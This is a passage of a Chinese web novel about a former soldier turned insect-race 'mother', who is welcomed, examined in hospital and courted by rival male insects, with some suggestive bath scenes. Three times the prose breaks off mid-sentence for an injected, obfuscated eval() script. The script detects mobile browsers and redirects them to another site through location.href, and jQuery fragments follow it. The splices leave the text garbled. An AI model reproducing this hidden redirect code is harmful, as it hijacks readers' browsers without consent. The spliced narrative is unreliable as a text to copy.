塞西安:“……” 打扰了,他想钻到地里去。 10. 全域直播 一想到刚才的胡闹被无数虫看在眼里,塞西安差点眼前一黑晕过去。迟来的羞耻揪住他脆弱的尊严,叮当一声捏成碎片,扎得人透心凉。 他紧绷着脸,用面瘫掩饰尴尬,倔强地站在原地,挺直的脊背渗出冷汗。 幸好兰修斯的身形足够高大,能够严严实实挡住他,给他一点微薄的安全感。 然而他不知道,身后无死角的空中无人机正猛烈追拍着他美丽的身影,全域直播。 一张足够迷倒一片虫的盛世美颜占据整个画面,淡蓝的病号服让他看起来更加脆弱无辜,让虫忍不住想扑上去疼爱。 现场寂静无声,他们在到来之前就已经被警告保持肃静,避免吵到受伤的虫母,但星网评论区就没有限制了,讯息如蚂蚁般涌上,一层叠着一层。 【“妈妈妈妈妈妈妈妈妈妈妈妈……” “妈妈妈妈妈妈妈妈……” “别刷屏了好吗你都挡住妈妈的脸了,信不信我给你两拳?这辈子没叫过妈妈?” “上面的别叫唤,我知道你天天晚上偷偷摸摸对着月亮喊妈妈,吵死个虫。” “妈妈真好看,和我听到的小道消息一模一样,比我想象中的还要好看一万倍!” “哪里来的小道消息?” “我同学正好被派去接妈妈回来……” “哦,那不是小道消息,是炫耀吧?” “妈妈好乖。该死的臭蝴蝶飞什么飞,让妈妈呛到冰冷稀薄的空气怎么办?” “好想知道妈妈的蝶翅是什么样子的啊,那两只黑蝴蝶丑死了。”】 哈珀带着委员会众人走上前来,恭敬地低头致意。他是当前委员会会长,已经任期30年,具有丰富的管理经验。 虫母消亡的千年间,虫族组织起一个官方机构组织日常事务,暂代虫母职能,所推选的委员会成员都是能力高强,足以服众的虫。 哈珀外表是中年人的模样,实际年龄不详,但塞西安知道虫族的寿命与人类不同,也不便妄加揣测。 混进昔日敌方老巢,遇见敌方全体领导人,他竟然还安安全全站在原地,说不心虚是假的。鬼知道他在战场上杀过多少虫。 塞西安心中不安,面上岿然不动。哈珀倒是十分尊敬:“母亲,我是现任委员会会长哈珀,欢迎回到您的国度。我代表全体虫族对您表达崇高的敬意……” 毫无手稿还能如此激情澎湃地发表长篇大论,塞西安忍不住多看了他几眼。 眼前一行人都俨然年岁已高,看起来和帝国领导层倒是没什么区别,不知道内在品质能不能胜过他们。 塞西安十分耐心地等他说完,抽空瞥了一眼他身后目光炯炯的队伍,万虫静默,无一不致以尊敬爱慕的眼神,即使淡漠如他也能感受到其中喷薄而出的浓郁情感。 虫族,似乎并没有他印象中那么讨厌。 【“妈妈好乖……这老头怎么还不说完。” “妈妈累不累,坐我身上嘿嘿。” “快给我妈妈搬椅子来,怎么能让他站着,现场的虫眼睛都是白长的吗?!” “病号服,我的老天奶啊,妈妈受了多重的伤,我要去咬死凶手。”】 布朗等人抵达这边,立刻搬来轮椅。塞西安觉得自己还能坚持住,但身边两只大手一左一右把他按下了。 他不咸不淡地看了眼他们。兰修斯还乖巧站在旁边,而尤里尔已经十分不顾形象地蹲在他脚边,顶着一张笑脸往腿上蹭。 塞西安:“……” 布朗欠揍的笑脸又一次出现在面前,好像刚刚的对峙没发生过一样。 他顺手把尤里尔拎起来丢远:“母亲,请坐。您的身体不好,需要尽快前往医院全面检查。作为您的私人医生,我会悉心照顾,保证您恢复如初。” 一会儿不见还给自己升官了,居心叵测。 塞西安警惕道:“你什么时候是我的私人医生了?” 哈珀解释:“布朗院长是当今虫族最优秀的医学人才,让他全权负责您的身体健康,是我们一致的决定。” 塞西安:“……” 当着全虫族的面让布朗下不来台,以后肯定会被挖坑报复,塞西安这次学乖了,决定先不树敌,兵来将挡水来土掩。 他偏头淡淡道:“辛苦你了。” 布朗轻轻挑眉,看着他这副明显公事公办的模样,心中的好奇与征服欲不断上升。 他会让塞西安心甘情愿说出这句话的,他会留在虫母身边,永远。 远处另一队白大褂人士站立着,看起来也是医生。为首之人气质正直宽厚,比布朗锋利感弱得多,塞西安顿时有了想法。 与其让布朗一个人独揽大权,不如给他找点掣肘的麻烦,塞西安向来不是心甘情愿任人摆布的木偶。 从虫母出现的那刻,奥罗斯就一直紧紧注视着他。当看见虫母已经是成年体,他狠狠遗憾了一把。 虫不想养丑陋爱打架的雄虫,虫想和乖巧可爱的母亲贴贴,虫想把妈妈亲手养大。 塞西安看过来时,他倏地一下露出最完美的笑容,大步向前,带着他自己都未曾察觉的狗腿气:“您好,我是奥罗斯,是育虫科主任。最开始,我们还以为您是刚刚出生的幼虫。” “没想到您已经成年了。”他遗憾地垂头笑了笑。 刚刚出生就是成年体,塞西安想都不用想自己有多诡异。回答不上来的问题,最好的解决方法就是不回答。 塞西安镇定的白瞳里看不出任何慌乱,反而噗嗤一声笑出来,瞬间俘获亿万虫子的芳心,狭长的狐狸眸挑动,散发万千风情。 “你看起来很不错,以后麻烦你了。” 在虫族眼里,这句话约等于说你很可口,我看上你了,进我后宫吧。 尤里尔、兰修斯看向奥罗斯的眼神瞬间不正常了,不止他们,连身后静静伫立的虫子也都不淡定了! 排山倒海搬的压迫感倾泻而来,奥罗斯仿佛被无数猛兽盯上,人人得以啃噬一口,直到血肉殆尽。 【“???” “凭什么?他凭什么?他到底凭什么被妈妈夸不错啊啊啊啊!” “奥罗斯棕色的头发跟枯树枝一样乱翘,满脸柔弱一点不强壮,我哪点比不上他!!” “奥罗斯看起来温柔可亲,实际上对调皮的幼虫下手最狠,妈妈不要相信他啊!” “*&^%小白脸,*&*((&)!”】 奥罗斯僵直着脖子,瞪大眼睛,仿佛承受了莫高的荣宠,一节节抬起脖子,骨骼错动发出心惊胆战的声音,但他已经完全不在乎除了母亲之外的事物。 撞入那双雪白的眼眸,虫母威严美丽,端坐在轮椅之上,也像坐在高高的王座般矜贵优雅,雪白的长发垂落在腿上,让他忍不住想跪在面前埋头深入…… “妈妈,您……”他声音都有些颤抖。 布朗夺过他的话头,心底烦躁不已,面上仍是轻笑:“确实需要麻烦奥罗斯主任。母亲虽然是成年体型,但依旧处于幼虫阶段,育虫科成员自然少不了。” 他微笑着眯起金瞳,威胁的竖纹只露出短短一条缝,警告地望向奥罗斯:“以后我们要一起照顾母亲了。” 奥罗斯察觉到他隐晦的敌意,不卑不亢地回答:“当然,我是母亲亲自选择的虫。” 虽然不知道布朗的敌意从何而来,但雄虫之间的争斗往往是与虫母相关的。 有时候为了一个眼神,一句赞赏就会打得头破血流。 作为幼虫管理专家,奥罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554122|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯对此研究颇深,也处理过许多幼虫打架事件。但虫母真正出现后,雄虫之间的争端会更加激烈,上升到生死决斗。 无论如何,他会保护好母亲的。 塞西安满意地看了看他们之间的暗流涌动,偏头轻笑,却撞见尤里尔受伤的眼神。 他愣了愣,还没来得及说什么,尤里尔又被强硬的军队围攻,狠狠钳制住,用锁链绑起来,兰修斯亦是如此。 “等等!”他捏紧轮椅的扶手就要挣扎着站起来。 布朗走到他身后,缓缓抚上他的肩膀:“母亲,他们二人违抗禁令私自闯入虫母舰队,还强行将您抱离飞船,将您的安危抛之脑后,严重触犯虫族律法。” 塞西安顿住了,他想起尤里尔和兰修斯确实做了许多出格的事情,肯定违反了许多条例,此刻被清算倒也正常。 莱斯特远远向他点头,带着被绑起来的两人就要离开。 【“这两个死东西终于要被惩治了哈哈哈哈哈。” “仗着眷属的身份自视甚高,还说什么妈妈是他一个虫的。哼,笑死虫了,他们都不止一个虫。” “也不想想自己的特权是沾了谁的光,妈妈肯定不喜欢坏孩子嘻嘻。” “我决定整容成奥罗斯那样的虫,以获得妈妈的青睐。” “楼上嫉妒半天最终决定做替身哈哈哈哈……”】 “妈妈!”尤里尔大喊的声音随着风吹来,撕心裂肺,与记忆中的某道呐喊重合。 塞西安忽然想起艾迪沾满鲜血的脸庞,虫族如此残暴,他的心瞬间颤动了几分。 他轻轻开口,却有千钧重的分量:“我会亲自管教。” 莱斯特的脚步停下来,缓缓转身凝视着塞西安。 塞西安拂开布朗缠上来的胳膊,坚定地站起身:“我的孩子,我亲自管教。” 【“妈妈,我也要管教呜呜呜……” “妈妈我是你的狗……” “好宠,死蝴蝶怎么这么命好啊啊啊。” “好想被妈妈打%&%¥*#” “楼上说了什么限制级话语,对妈妈下流可是会被网警抓进监狱的啊!”】 哈珀示意他们放开尤里尔与兰修斯,不仅没有觉得塞西安扰乱社会治安,反而很欣赏:“身为虫母,管理族群本就是您的权力与职责,从眷属开始尝试,也是个不错的开始。” “以后,委员会的权力会逐渐交还到您手中,您可以慢慢学习。” 塞西安松了口气,手心里已经满是冷汗,原来虫母的权力这么大。 尤里尔与兰修斯逃到他身边,警惕地瞪了眼莱斯特,他们知道对方向来古板严苛、不近人情,此时非常担心他与母亲叫板。 没想到莱斯特毫无反应,轻而易举答应了这个安排:“我无条件服从您的安排。” 他们这才放下心,一左一右抱紧了塞西安的胳膊。尤里尔碧绿的眼眸瞬间盈满委屈:“妈妈,你不在,他们都欺负我。” 兰修斯依旧沉默着,将头靠在塞西安敏感的脖颈,无声表达着依恋。 前后都被挤在壮阔的胸膛里,塞西安浑身都肉麻起来,他无奈道:“现在不敢胡闹了吧?” 他们的交谈声逐渐远去,塞西安又回到尤里尔怀里,跟着布朗、奥罗斯等人前往中心医院。 而身后一直静默的围观群众终于能畅快发言了,嘈杂阵阵。 “这么宠溺,这么美丽,竟然不是对我呜呜呜。” “现在出去犯法会被妈妈亲自管教吗?” “虫母回归的紧要关头,被直接击毙的可能性更大吧。” “那冲进医院抱紧母亲的大腿假装神经病大哭呢?” “兄弟,你还没进母亲的病房就会光荣牺牲的……” 11. 虫侍?! “妈妈,我好想你。”尤里尔任性地抱着塞西安不撒手。 他高大的身躯与娃娃脸大相径庭,偏要弯曲着埋进塞西安胸前,肆意掠夺着他的气息,黑色卷发粗硬扎肉,蹭得塞西安忍不住昂头躲开。 “终于见到妈妈了……”本想躲开,却在听在这句喃喃自语时停住,有些笨拙地接受。 满怀着依赖的触摸毫无杂念,正好卡在塞西安的接受能力下限,让他被磨得没有办法。 没有人这样亲近过他,甚至没有人这样直白大胆地给予他偏爱、眷恋,喜爱。 他一向用尖刺利爪与桀骜不驯伪装自己,其他人都以利引诱,或强势禁锢,至今还没有被用柔情攻陷,难免束手束脚,不知所措。 “唔……乖。” 塞西安有些受不了地往后挪,撞入兰修斯的胸膛,原来他早就深陷这对双胞胎的怀抱。 “你都没有见过我,怎么想我?” 兰修斯双臂环住他的腰,贴紧他的后背,冰凉的呼吸扫过塞西安的后颈。 “我们怀着对您的爱出生,日日夜夜,您早已刻入我们的骨髓。” 雄虫天生就是虫母的奴隶,他们为了母亲开疆拓土,争夺资源,壮大族群,死后回到母亲的精神海,回到温暖的母源。 虫母源源不断诞下自己的孩子、伴侣、臣民,享受子民的供奉,孤独地坐上王座。 他的寿命要比子嗣长得多,因此雄虫血脉里就天生充斥着不安与狂躁。 要在短暂的生命里亲近母亲…… 要用他们的骨肉、鲜血、身体温暖母亲,不能让他独守王座…… 没有雄虫会一直待在母亲身边,永远有新生的竞争者出现。 车座后方如此旖旎多情,旁边围观的几虫自然也躁热不已,按耐不住地向后瞟。 然而虫母不喊停,他们无权制止他的欢爱,只能各自忍耐,目光沉沉。 他们比年轻的眷属更懂克制,却不知道新上任的虫母根本不懂拒绝。 他们丧失了绝佳的机会。 布朗看向默默跟上来的莱斯特,那人背对着他们坐在前方副驾驶,壮阔的身躯让座位都显得狭小,投下一片阴影。 莱斯特显然比其他虫更加高大,布朗眯了眯眼,坏心思地想,虫母那么纤细,应该吞不下他吧? 说不定还要哭得喘不上气,最终也逃不出雄虫的手掌心,莱斯特可不是一个温柔的家伙。 忽然,他狠狠拧起眉头,常年温润的面目狰狞起来。 他怎么会想虫母和其他人做/爱的场景?记忆里那道浑身上下雪白到刺眼的身影让他瞬间惊醒,半晌都说不出话来。 再怎么说,他也算唯二见过虫母赤裸身体的虫,可比那两个眷属强得多(虽然事出紧急无人在意)。 奥罗斯坐在他旁边,冷漠地看着他的表情变来变去,他对幼虫尚且有一份耐心,但对成年雄虫可谓是半分没有。 他突然想起众虫对布朗的评价:天才科学家,疯子研究者。 这个虫向来行事不择手段,玄幻莫测,难保不会对虫母起什么歪心思。 身后一无所知的虫母陷在那两虫的怀抱里,面色粉嫩,柔软似水。 他一定会保护好母亲的。 注意到他向后瞥的眼神,布朗倒是好心情地劝说:“奥罗斯,母亲忙着呢,现在可没时间关注你。” “不过莱斯特将军,您在这里的作用是?” 除了他和母亲钦点的某位医生,加上两个没用的摆件,威风凛凛的军部将领混进来是想做什么? 莱斯特:“母亲身体不适,需要保镖。” “?” 堂堂军部首领,不处理政务,跑来做保镖?还有身体不适需要的是医生吧,跟保镖有什么关系? 错漏百出,但布朗懒得戳穿他,转头看向窗外。 前面有情敌,后面更是让虫心烦,简直是哪哪都不痛快。 他越想越气,作为第一个私人医生,虫母现在难道不应该坐在他腿上任他检查吗?这群乱七八糟的虫为什么要横插一脚,真是气死虫了! 抵达医院后,布朗十分强硬地从蝴蝶二人手里把塞西安夺回来,粗暴到让莱斯特都按耐不住自己的怒火:“布朗!” 塞西安只感到一双有力的臂膀把他捞起,不由分说地从后背绕到臀部,只靠一只手将他揽进怀里,另一只手捉住他挣扎的双手,牢牢禁锢住。 “我只是关门声大了些,又没有摔到母亲,莱斯特你真是大惊小怪。”布朗状若无奈地摇摇头,“母亲,你说,我是不是没有弄疼你?” 触碰到塞西安的瞬间,布朗心底的火立刻平息,他忽然觉得自己刚刚幼稚地可怕,就像疯了一样。 “即使如此,你也应该提前告知我。”塞西安淡淡道,狠狠一巴掌拍在他手背,发出“啪”得一声,但对于成年雄虫来说跟挠痒痒差不多。 布朗顿了顿,一时不知道是刚刚手下柔软的触感,还是手背的火辣更让他兴奋。 他闷笑几声:“感谢您的恩赐,我以后会先告知的,妈妈。” 被打了还嬉皮笑脸,露出这么变态的笑容,一看就是脑子有病,塞西安谨慎地退后几步。 一队训练有素的医护等候在门前,立刻带着塞西安参加各项细致的检查,换了一层又一层楼,无数精密高级的机器被开启。 塞西安被这大阵仗震惊地呆愣住,麻木地任他们动作。 直到被按倒在冰凉的床垫上,胸前吸满不知名的金属仪器,他默默看向布朗:“我的身体似乎没有差到如此地步。” 布朗与其他人手中都拿满了大大小小的数据单,这位往往坐在办公室等着看数据的家伙首次跟着病人跑上跑下,眼中却丝毫没有怨言。 “母亲,虫母的自愈能力很强,但这绝不代表您的身体健康。” “难道您忘了几个小时前,您站都站不稳吗?”他翻看着手中的数据,眼神愈发凝重,让塞西安有一种接受检阅的紧张感。 他紧张地咬着唇瓣,盯着电子屏幕放空大脑。 骨密度会不会查出来他的实际年龄?虫族的内脏分布和人类是一样的吗?但现场五个虫,他撂挑子不检查了也会被强行按住吧? 布朗:“事实证明您营养不足,身体虚弱,多处脏器受损,疑似轻微脑震荡,骨骼亦有断裂现象。” 他感叹道:“您还活着真是个奇迹。” 塞西安:“……” 实不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554123|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相瞒他以前受过更重的伤都撑过来了,他已经锻炼出重伤苟活的经验。 对于目前能站能走,保持清醒、四肢健全的状态,他非常满意。 众人都目光凝重,心疼地看向躺着的塞西安,当事人却毫不在乎。 尤里尔听得眼泪汪汪,差点扑倒在他身上,却又害怕伤到他,硬生生停在半空:“妈妈,你是不是很痛?” 塞西安:“……还好。” 这点隐隐的痛,几乎可以忽略不计。 莱斯特推着他的轮椅上了顶楼,一行人浩浩荡荡进入这片奢华的住所。 哪怕是塞西安这样面瘫的人,也会对此震惊到瞪大双眼。 没想到中心医院顶楼设置得和帝国居民的家一样,还是豪华版,楼下的医院仿佛全是幻觉。 地上铺着花样繁复的厚毛毯,连客厅都比塞西安住过的所有宿舍都大,绒毛沙发甚至能躺下两三个人,阳台射入耀眼斑斓的阳光,全屋通透敞亮,绿植环绕,自然舒适。 温馨自然的风格让塞西安顿时放松下来,他做梦都没有想过自己会有一个家。 虽然这里严格意义上并不是家,但他依然为此开心,好奇地四处张望。 察觉到他明显愉悦的心情,其他虫松了一口气。 在此之前,他们依然为这里的设计争论不休,终于赶在虫母检查完前准备好一切。 莱斯特解释:“这里是紧急搭建起来的临时住处,方便您接受治疗。以后会有医护人员上来诊治,无需您亲自下楼。” 紧急搭建?可他才来到虫族多久?塞西安又一次被虫族的效率震惊。 一眼望去,远处至少有上十个房间,塞西安疑惑地问:“这么多房间吗?” 布朗笑着回答:“那些是为您的虫侍准备的,您的房间在另一边。被挑选的虫侍当晚会有幸进入您的房间休息。” 顺着他手指的方向,另一片更加广阔的空间被帘幕遮挡起来,私密性极高,无法想象里面究竟会有多大。 “虫侍?”塞西安抓住了某个陌生词汇,隐隐有种不祥的预感…… “您的伴侣,专属情人,服务您,让您的夜晚更美妙的虫。” 布朗心底那股烦躁又一次燃烧起来,把奥罗斯拉过来:“奥罗斯不是一开始就被您选中了吗?” “……嗯?!” 塞西安懵了,反应过来后顿时红了脸,与奥罗斯面面相觑。 什么?!他怎么会! 难道是他最开始说的那句话? 他明明是让奥罗斯以后与布朗分庭抗礼,一起做自己医生的啊,他不会误会吧! 奥罗斯被推到虫母面前,英俊帅气的面庞露出害羞的神色,罕见地支支吾吾起来。 他确实想象过千万次侍奉虫母的场景,但这是每个雄虫都会有的欲望。 真正到了虫母面前,他心中只有敬畏与神圣,他怎么敢直接把这种话说出来! 该死的布朗,他绝对是故意的! “母亲,我……我会好好侍奉您的。” “???” 塞西安大脑瞬间宕机,自己不是他们的母亲吗? 为什么……这个……怎么可能和自己的孩子做那种事……? 12. 我爱您 “我只是让奥罗斯和布朗一起做我的医生,你们,是不是误会什么了?” 塞西安垂下头,纤细的手指缠绕着腿上披散的白发,与其本身的弧度契合。 什么虫侍?什么情人?! 他愿意扮演他们的母亲,可不会做他们身下的玩物!要是这样,他宁愿立刻死掉。 奥罗斯久久注视着塞西安,对方却避开他的眼神,无情地侧过脸,表达他坚定的抗拒。 他不知道自己现在该做什么,该哭还是该笑?他应该嘲笑自己的痴心妄想。 毕竟他这样普通的虫,怎么会被母亲选中,这一切都只是一场误会而已。 与他的悲伤截然相反,其他虫着实松了一口气。 尤里尔眨了眨眼睛,浅笑着朝兰修斯递去一个眼神。 对方面不改色,但与他相伴长大的尤里尔知道他现在愉悦得很。 莱斯特纵观整场闹剧,无语地看着作乱的布朗。 故意将虫侍的信息过早抛给年幼的虫母,让他对奥罗斯产生逆反情绪,甚至抗拒奥罗斯以后的接近。 仅仅是为了报复奥罗斯抢夺自己私人医生的位置吗? 布朗,你究竟是报复,还是嫉妒? 而布朗还在无辜地为自己脱罪:“啊,我还以为您对奥罗斯一见钟情呢。不过拥有多少虫侍都是您的自由,毕竟您的取值范围可是所有虫族呢。” 其中的阴阳怪气,他自己算是昏了头,半点儿听不出来。 塞西安:“……”他能说自己不需要虫侍这种东西吗? 眼见着虫母好不容易兴奋起来的心情低落下去,莱斯特制止道:“布朗,母亲还是幼虫,你不要为了一己私欲胡言乱语。” 奥罗斯如梦惊醒,突然反应过来。 对啊,母亲还是幼虫,幼虫尚未成熟,他怎么可能懂这些弯弯绕绕,说不定是看自己比较可靠想让自己抚养他。 母亲可不像其他雄虫那么肮脏,满脑子黄色废料。他高尚纯洁,就像天边的明月。 他调理好了,收拾好自己的情绪:“母亲,我会认真照顾您,履行私人医生的职责。我常年照顾幼虫,您大可以放心,我对您绝对没有歪心思。” “啧。”拨弄是非的心思被戳穿,布朗撇撇嘴,“我哪里胡言乱语,我说的都是事实。” “不过母亲确实没有成熟,您暂且不用考虑虫侍的问题。”布朗蹲下来,轻轻抚上塞西安的小腹,仿佛里面孕育着新生命。 “您的卵巢还未成熟,无法受孕哦。” 塞西安差点没能控制住自己的表情,他死死盯住布朗假笑的金眸,咬紧牙关:“嗯。” 等布朗转过身,他才大口呼气,胸膛剧烈起伏着,里面传来阵阵疼痛,好像刚刚的健康在一瞬间决堤,身体的各项机能都向他发起攻击。 “我有些疲惫,可以进去休息吗?” 他这么问,有谁敢不同意,收拾检测单的收拾检测单,送他去卧室的送他去卧室,各忙各的,五只虫竟然井井有条,毫不冲撞。 两位眷属理所应当地承担起贴身照顾的职责,奥罗斯对着尤里尔摇了摇头,将塞西安抱到兰修斯怀里。 他叮嘱道:“母亲,尤里尔在育虫科的成绩不及格,我怕他出岔子,以后有事可以多吩咐兰修斯。” 尤里尔气愤地咬牙切齿,但也说不出反驳的理由。 奥罗斯在学院也有任职,算是他们在育虫科的老师。 没想到自己不及格的事实直接被说给妈妈听!该死的奥罗斯,虫不要面子的吗?! 塞西安闷闷地回答:“嗯。” 见到他这么不舒服,尤里尔也不再闹腾,委委屈屈地接受这个决定,牵着母亲的衣角进入卧室。 兰修斯将塞西安抱进卧室的卫生间,里面巨大的浴池里已经准备好热水。 他犹豫了一会儿,问道:“母亲,我要给您洗澡,可以脱您的衣服吗?” 宽敞空荡的浴室一时间陷入宁静,只有水声回答着他。 “你们出去吧。”塞西安捏紧自己的衣领,显然不愿意让别人触碰。 能让他们抱就已经算越界了,更别提脱了衣服坦诚相待。 “您小心,我们就在门口,您随时喊我们。”兰修斯拉着还想看的尤里尔退出浴室,轻轻关上门。 两人像守门员一样站在外面,竖起耳朵听里面窸窸窣窣的脱衣声,直到塞西安安全进入水中的声音传出后才松了口气。 “妈妈伤得这么重,我们要不要进去守着?”尤里尔试探地问。 他承认,他确实有点别的心思,但主要是为了母亲的身体考虑嘛。再说了,谁能忍住不和妈妈一起洗澡! 兰修斯摇摇头:“妈妈对我们很防备。” 尤里尔:“啊?” 他知道兰修斯心思细腻,跟大大咧咧的自己不一样,也没有质疑,而是失魂落魄地靠在门板上:“为什么?是我们表现得还不够好吗?” “不像,妈妈没有在族群里出生,独自在野外生存那么久,肯定不适应别人的存在。” 兰修斯顿了顿,“他……肯定吃了很多苦。” 孤零零一只幼虫流落荒野,饥饿、寒冷、猛兽都有可能让他丧命。 尤里尔后怕地用力抓了抓头发,仿佛要将恐惧与心酸扯出脑袋:“好想穿越到妈妈出生的时候,陪着妈妈一起长大。” 他小声自责:“都怪我们,就算其他虫感受不到,眷属也应该感应到母亲存在的。” “嗯。”兰修斯又一次回到那副沉默的样子,不知在沉思着什么。 浴室里,塞西安整个身子陷入水中,只露出小小的脑袋。 浴池里被细心地撒满花瓣,随着波纹起伏漂动,从些许缝隙依旧能窥见他白皙修长的身体。 终于能够独处,过量的信息不断冲进塞西安的大脑,将他的思绪一次又一次打乱。 自己成功逃出帝国,但变异成虫母,还被接回虫族的老巢。 虽然暂且混入敌军内部,但面临的还有虫侍、虫母的……职责? 他仔细回忆,从降落到主星开始,他就再没见到过女性存在。即使虫族的性别差诡异到极端的数值,也不应该从军队到居民一个也没有。 虫母。 明明脆弱到随便一个虫都能杀死,但依旧尊贵非凡,虫族对虫母的狂热与尊崇远远高于塞西安的想象。 这究竟是一群什么样的种族?他们在宇宙的边缘到底发展出了一个怎样的文明? “管理族群也是虫母的权力与职责”,哈珀的话再次回荡在耳边。 拥有这样大的权力,难道虫族的生育都由虫母一人承担?! 浴池上飘荡着的花瓣荡漾过来,蜜蜂的形象顿时出现在他脑中。 蜂后与蜂群,岂不就是现在虫族的缩影! 他慌忙站立起来,激起震荡的哗哗水声,雪白的长发打湿黏附在身体上,清澈的水流顺着肌肉的曲线下滑,坠入池底。 不知是否是虫族的恶趣味,浴池前的一堵墙都是镜子,清晰明白地照射出塞西安的身体。 他长久凝视着眼前陌生的人,不敢承认这就是自己。 惨白的眼眶空无一物,如果在帝国,肯定能吓死一群小孩儿,满头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554124|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白发也会让他像个异类。 可相同的面部轮廓与身体,又在提醒塞西安这就是他。 听到里面巨大的动静,而后又没了声响,门外的二人立刻冲了进来,发出“踏踏”一阵脚步声。 塞西安背对着他们,也就意味着那面完全照映着虫母身体的镜子,正对着他们。 见到如此惊艳的场景,尤里尔瞬间失去了控制,棒状的触角从额头后伸出,眼睛也开始变异。 塞西安没动静,兰修斯不敢轻举妄动,准备时刻变出翅膀抱他回来:“母亲,您需要帮助吗?” “兰修斯,你觉得我像怪物吗?” 两人:“……” 他们全都被这个问题打倒在地,整颗心都快要碎掉,什么话都说不出来。 母亲,全世界最美好最珍贵的母亲,怎么能说出这样的话?! “您怎么会是怪物呢?您是天使,是神一样的存在!您最好了……” 一切赞美称颂的话语像机关枪一样被扫射出来,甚至前言不搭后语,尤里尔却管不了那么多了,他只想告诉塞西安,他是世界上最美好的姿态,他怎么会是怪物?! 是谁对他说了这样的话,他会亲手杀死那个不知死活的东西! 兰修斯脱下自己的鞋子,赤裸的脚在地上悄无声息地前行。 借助塞西安的身影阻挡,他缓步靠近,尤里尔则配合地分散着塞西安的注意力。 “你不觉得我奇怪吗?” 塞西安低头看着自己的手掌,他记得这双手,握过枪扛过刀,爬过腐臭的泥地,拿起过军功的勋章。 但它从没有这样白过。 他全身,就像得了白化病一样,除了隐私部位外没有其他颜色。 他算活着,还是已经死去? 身后传来淅沥的入水声,他恍然惊醒,跟随着身体反应攻击过去。 对方巧妙地避开他的胳膊,侧身闯到他面前,狠狠将他抱进怀里。 “……兰修斯。” “您不是怪物,您是我的母亲,是我存活的原因。” 兰修斯冷淡的声音有些苦涩,他下半身全都湿透,狼狈但倔强地直视塞西安。 那双碧绿眼眸中流露出无所畏惧的坚定与选择,让塞西安的心猛烈颤抖着。 又一声巨响传来,尤里尔不甘示弱地朝这边走来,让塞西安回过神。 他慌乱地转身,随便挑了一个方向离开,却被抓住手腕拉进熟悉的怀抱。 原来只需要短短几个小时,人就会记住一个怀抱吗? 从未被拥抱过的人在死亡的那天得到了最多的拥抱,他死在今天,也重生在今天。 兰修斯一反往常冷静温柔的姿态,用力将他的身体掰过来,直直地面对他们。 一字一句、吐词清晰地说:“妈妈,我们永远站在您的身边,就算背叛整个族群,我们也会站在您的身边。” “请不要背对我们,请不要抛弃我们,您的一切焦虑、忧郁与恐惧都可以毫无保留地交给我们。” 两张俊美无双的脸毫无保留地袒露在眼前,湿润的水汽上浮,沾湿他们细碎的黑发。 可他们狂热的、满含爱恋的眼神透过白蒙蒙的蒸汽,直直闯进塞西安的心。 “谢谢……” 一具滚烫的、蓬勃的年轻躯体缠绕上来,紧紧拥住塞西安。尤里尔蹭着他细腻的肌肤:“妈妈才不用对我们说谢谢呢!” 塞西安握紧双手,犹豫了一会儿,向兰修斯伸出手,对方立刻将手放入他掌心,沿着他的胳膊靠近,直到亲密无间。 “妈妈,我爱你。” 13. 我的名字 衣物一件件丢回岸上,他们得到母亲的允许,有幸享用这个巨大的浴池。 塞西安斜倚在兰修斯身上,任由尤里尔将带着花瓣的池水泼向自己。 散发着热气的温水不厌其烦地拂过平坦白皙的胸口,之前狰狞可怖的刀痕全都只留下浅浅的痕迹,在白雾的掩映下躲藏。 兰修斯细心地发现了这些奇怪的痕迹,指尖轻轻抚过,引起深入骨肉的颤栗。 “您受过很多伤。”他用肯定的语气说,失落地低下头,“对不起,我应该早些来到您身边的。” 塞西安缩了缩肩膀,躲开他乱碰的手,心想不是你来到我身边,而是我来到你身边。 是我来到虫族的领地,才被你们带回来。 “……塞西安。” “嗯?” “我的名字。” “塞西安?是因为妈妈很白吗?”尤里尔伸出胳膊,与他比了比,小麦色的皮肤比塞西安黑了一个度,肌肉结实,对比鲜明。 就连刚刚成年的他们都比塞西安粗壮许多,尤里尔心疼地撇撇嘴,发誓一定要将母亲喂胖,让他不再瘦弱无力。 怎么会有虫弱成这个样子?一定是因为营养不良! 塞西安也说不清楚这个名字有什么含义,反正人们这么叫他,他就这么活。 贫民的姓名大多终其一生都不会被用上几次,他们像帝国下水道里的老鼠,既不被允许进入居民区,也没有合法的职业,能苟住就活下去,苟不住就死掉。 连被记住姓名的机会都没有。 至于这个名字是怎么来的,那些久远的记忆就像贫民区灰蒙蒙的天空,模糊不清,连同过往的一切全都被他甩在身后。 而如今,他前半生的记忆都要被丢弃,他的人生从今天重新开始。 